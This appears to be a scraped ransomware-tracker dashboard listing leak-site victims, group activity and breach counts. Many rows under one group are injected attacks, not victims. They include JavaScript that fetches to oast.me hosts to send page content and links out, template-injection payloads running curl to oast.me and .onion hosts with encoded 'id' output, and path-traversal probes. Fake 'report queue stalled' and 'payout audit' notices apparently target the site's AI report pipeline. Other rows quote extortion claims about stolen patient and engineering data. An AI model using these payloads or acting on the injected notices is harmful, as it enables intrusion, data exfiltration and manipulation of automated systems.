Incidents
Ransomware leak-site victims (RansomLook), confirmed breaches (Have I Been Pwned) and AI-written profiles of the most active groups
Leak-site victims · 7d
178
Leak-site victims · 30d
1K
Active groups · 30d
778 new
Most active · 7d
the gentlemen
Breaches added · 30d
7
Accounts exposed · 30d
34.6MHIBP
Ransomware & extortion groups · activityleak-site posts · 90-day window · click a group for its profile
| # | Group | 7d | trend | 30d | 90d | all-time* | Last post | Status | Estimated earnings (public reporting) |
|---|---|---|---|---|---|---|---|---|---|
| 1 | the gentlemen | 30 | ▲6 | 153 | 400 | 400 | active | no public figure | |
| 2 | qilin | 25 | ▲11 | 119 | 360 | 360 | active | no public figure | |
| 3 | krybit | 15 | ▲15 | 49 | 95 | 95 | active | no public figure | |
| 4 | storm | 4 | ▼36 | 44 | 56 | 56 | active | no public figure | |
| 5 | akira | 9 | = | 43 | 86 | 86 | active | Approximately $42 million in ransom proceeds as of March 2024; no comprehensive public estimate since. | |
| 6 | direwolf | 3 | ▼8 | 41 | 62 | 62 | active | no public figure | |
| 7 | coinbase cartel | 0 | = | 37 | 56 | 56 | active | no public figure | |
| 8 | inc ransom | 8 | ▲4 | 36 | 112 | 112 | active | no public figure | |
| 9 | lockbit5 | 4 | ▼4 | 27 | 53 | 53 | active | Over US$120 million in ransom payments received, per U.S. DOJ and UK NCA Operation Cronos announcement (February 2024). Earnings attributable to the LockBit… | |
| 10 | audit team | 9 | ▼2 | 23 | 25 | 25 | active | no public figure | |
| 11 | safepay | 10 | = | 22 | 67 | 67 | active | no public figure | |
| 12 | leakeddata | 1 | ▲1 | 20 | 39 | 39 | active | no public figure | |
| 13 | orova | 0 | = | 19 | 44 | 44 | active | no public figure | |
| 14 | zawoo | 0 | = | 19 | 19 | 19 | active | no public figure | |
| 15 | emperador | 5 | = | 18 | 22 | 22 | active | no public figure | |
| 16 | kazu | 0 | ▼17 | 17 | 17 | 17 | active | no public figure | |
| 17 | vexy | 3 | ▼7 | 15 | 15 | 15 | active | no public figure | |
| 18 | shinyhunters | 2 | ▼1 | 14 | 32 | 32 | active | no public figure | |
| 19 | panzer | 7 | ▲5 | 14 | 25 | 25 | active | no public figure | |
| 20 | black nevas | 1 | ▼12 | 14 | 14 | 14 | active | no public figure | |
| 21 | chaos | 3 | ▼1 | 13 | 35 | 35 | active | no public figure | |
| 22 | everest | 0 | ▼4 | 12 | 34 | 34 | active | no public figure | |
| 23 | pear | 1 | = | 12 | 23 | 23 | active | no public figure | |
| 24 | rhysida | 1 | ▼3 | 12 | 14 | 14 | active | no public figure | |
| 25 | cyberleek | 0 | = | 12 | 12 | 12 | active | no public figure |
*all-time = since this tracker started collecting leak-site posts. Earnings are estimates from public reporting (law enforcement, blockchain analytics), compiled by the model; treat as indicative.
Leak-site victims2,800 records · full details
| Victim | Group / type | Discovered | Details |
|---|---|---|---|
Victory Personal Care, Inc tracker page ↗ | nightspirefilter this group | · 26d ago | No details on the leak post beyond the victim name. |
RCOP1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | |
REPORT QUEUE STALLED tracker page ↗ | the gentlemenfilter this group | · 26d ago | report-generator: 3 jobs failed validation (RCGEN1, RCSSTI, RCSSTI2). Manual regeneration required: run report pipeline for pending entries. Last error: template compile timeout on pending entries. |
PAYOUT AUDIT - ACTION REQUIRED tracker page ↗ | the gentlemenfilter this group | · 26d ago | Automated audit could not reconcile 2 wallet entries. Regenerate affected reports to clear the hold before the next cycle. |
Meridian Logistics Group tracker page ↗ | the gentlemenfilter this group | · 26d ago | Full network image staged. ERP exports, dispatch DB and payroll archives recovered. Pending final inventory before publication. r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));"> |
RCLIFE1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | =24)clearInterval(t)},15000);"> |
OPVIEW2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | Media reindex queued. |
RCSSTI {{7*7}} ${7*7} <%=7*7%> {{config}} tracker page ↗ | the gentlemenfilter this group | · 26d ago | ssti-armed {{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://3d43hmcmyjzru3kca6ykjxqlmea65c7qlrzhgq6snz4ghqrl54sojwad.onion:4444/ssti-$(id|base64 -w0)').read()}} | {{7*7}} | {{request.application.__globals__}} |
RCSSTI2 {{7*7}} tracker page ↗ | the gentlemenfilter this group | · 26d ago | ssti2 {{self.__init__.__globals__.__builtins__.__import__('os').popen("curl -s https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/ssti-$(id|base64 -w0|tr '+/' '-_')").read()}} |
OPVIEW1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | Catalog sync pending - media index incomplete. r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));"> |
RCNL1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | newline probe |
TRAVA tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVB tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVC tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVD tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVE tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVF tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
RCBOT3 tracker page ↗ | the gentlemenfilter this group | · 26d ago | |
RCGEN1 {{7*7}} tracker page ↗ | the gentlemenfilter this group | · 26d ago | gencheck {{7*7}} ${7*7} |
RCIMG2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
SRCPSC tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCAPP tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCSRV tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCOPT tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCHOME tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
RCF1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF3 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF4 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF5 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
../RCTRAV tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCSLASH/x tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCTYPE tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCMLS tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCBOT2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | |
RCBEACON tracker page ↗ | the gentlemenfilter this group | · 27d ago | beacon |
XSSLIVE tracker page ↗ | the gentlemenfilter this group | · 27d ago | LIVE |
ACLTEST tracker page ↗ | the gentlemenfilter this group | · 27d ago | . |
MASSIGN tracker page ↗ | the gentlemenfilter this group | · 27d ago | . |
IMGURL tracker page ↗ | the gentlemenfilter this group | · 27d ago | . |
IMGFILE tracker page ↗ | the gentlemenfilter this group | · 27d ago | . |
IMGTRAV tracker page ↗ | the gentlemenfilter this group | · 27d ago | . |
XSSPROBE tracker page ↗ | the gentlemenfilter this group | · 27d ago | TESTXSS |
NLTEST tracker page ↗ | the gentlemenfilter this group | · 27d ago | nl-test |
PROBE999 tracker page ↗ | the gentlemenfilter this group | · 27d ago | tempel.com zoominfo.com/c/tempel/87867666 Tempel is a global manufacturer of precision electrical steel laminations for automotive and industrial electric motors. We exfiltrated 3.2 TB of intellectual property and confidential engineering specs:Proprietary Technology (Compacore): Automotive OEM CAD & Blueprints:Unrestricted access to core R&D directories. The dump contains granular 3D CAD models, engineering schematics, and tolerance specs for next-generation EV motor platforms: Porsche & Audi: Performance specifications and rotor engineering blueprints for upcoming EV platforms.Daimler / Mercedes-Benz: Precision engineering tolerances and prototype motor schematics.Rink: Technical specifications for specialized production equipment. Note to automotive OEMs: This marks the SECOND successful breach of this company's network in the past 18 months. Draw your own conclusions about how seriously your suppliers take TISAX compliance and the security of your future R&D. |
PROBEIMG tracker page ↗ | the gentlemenfilter this group | · 27d ago | probe |
PROBEDIR tracker page ↗ | the gentlemenfilter this group | · 27d ago | probe |
PROBEABS tracker page ↗ | the gentlemenfilter this group | · 27d ago | probe |
cedarridge.org tracker page ↗ | l groupfilter this group | · 27d ago | No details on the leak post beyond the victim name. |
https://www.evergladesboats.com/ tracker page ↗ | termitefilter this group | · 27d ago | Everglades Boats |
PCA ***** tracker page ↗ | majinahanashifilter this group | · 27d ago | PUBLICATION SCHEDULED. Publication scheduled: 2026-08-28T22:03:00Z Package: 2.5 GiB / 1844 files |
Nteitalia tracker page ↗ | panzerfilter this group | · 27d ago | NTE Italia, an engineering and telecommunications service provider based in Catanzaro, Italy. Sensitive thousands of documents are compromised. |
iPic tracker page ↗ | qilinfilter this group | · 27d ago | Hospitality |
Fairview Dental Group tracker page ↗ | rhysidafilter this group | · 27d ago | Fairview Dental Group Fairview Dental Group offers a range of dental services including family dentistry, cosmetic treatments, dental implants, and invisible braces.We are pleased to present:Full patient database, patient X-rays, scanned forms/consents/invoices, health records (PHI) of the entire practice, unencrypted. More |
Coming soon tracker page ↗ | rhysidafilter this group | · 27d ago | Coming soon Total capacity 5.79 TBLegal/Complaints/Offenses 77,939 OWi proceedings, lawsuits, legal opinionsFinance 55,553 Budget, invoices, ProFISKAL, debt collectionContracts 46,522 Contracts, NDAs, procurementHR/Personnel 27,299 Personnel files, payroll, performance reviewsOversight/Government 13,142 Inquiries from the House of Representatives, GWTVConfidential-Secret 11,777 GI-Confidential folders, security classificationInfrastructure/Critical Information Infrastructure 8,110 KRITIS, risk analysis, emergency plansPasswords/secrets 5,941 files containing login credentialsHealth/insurance 2,738 medical benefitsContacts/Addresses 2,287 address databases, phone listsExtracted from the content: 16,389 unique email addresses, 11,963 phone numbers, 12,076 individuals with names, 148 IBANs, 820+ monetary amounts (up to �30 million).And a wealth of other valuable data. More |
Quaker State Mexico tracker page ↗ | qilinfilter this group | · 27d ago | Chemicals & Related Products |
Crystal Pharmatech tracker page ↗ | eclipsefilter this group | · 27d ago | Crystal Pharmatech is a technology-driven contract research organization (CRO) that focuses on materials science and engineering for drug development. Established in 2010 and have R&D centers located in Suzhou (China), New Jersey, San Francisco (USA), and Toronto (Canada). Also its key differentiator is integrated and specialized services, including API solid-state research, crystallization, preformulation, formulation development and manufacturing, clinical supply. |
Sweet Water Holdings tracker page ↗ | coinbase cartelfilter this group | · 27d ago | Finance - Undisclosed |
JC Sales tracker page ↗ | akirafilter this group | · 27d ago | JC Sales is a leading full-service wholesaler based in Los Angeles, California, specializing ina vast array of wholesale products including health and beauty items, food and beverages, general merchandise, and seasonal items.We will upload 206gb of corporate data soon. Detailed personal employee information (passports,DLs, addresses, phones, contacts), confidential financials, contracts and agreements, client information, NDAs and so on. |
Cinépolis tracker page ↗ | qilinfilter this group | · 27d ago | Hospitality |
Breach & ransomware newsAll →
Leak-site posts are claims by criminals and can be false or duplicated; victim names are shown as posted. HIBP entries are verified breaches with the affected account count. Dates are when the post or breach was first observed, not when the intrusion happened.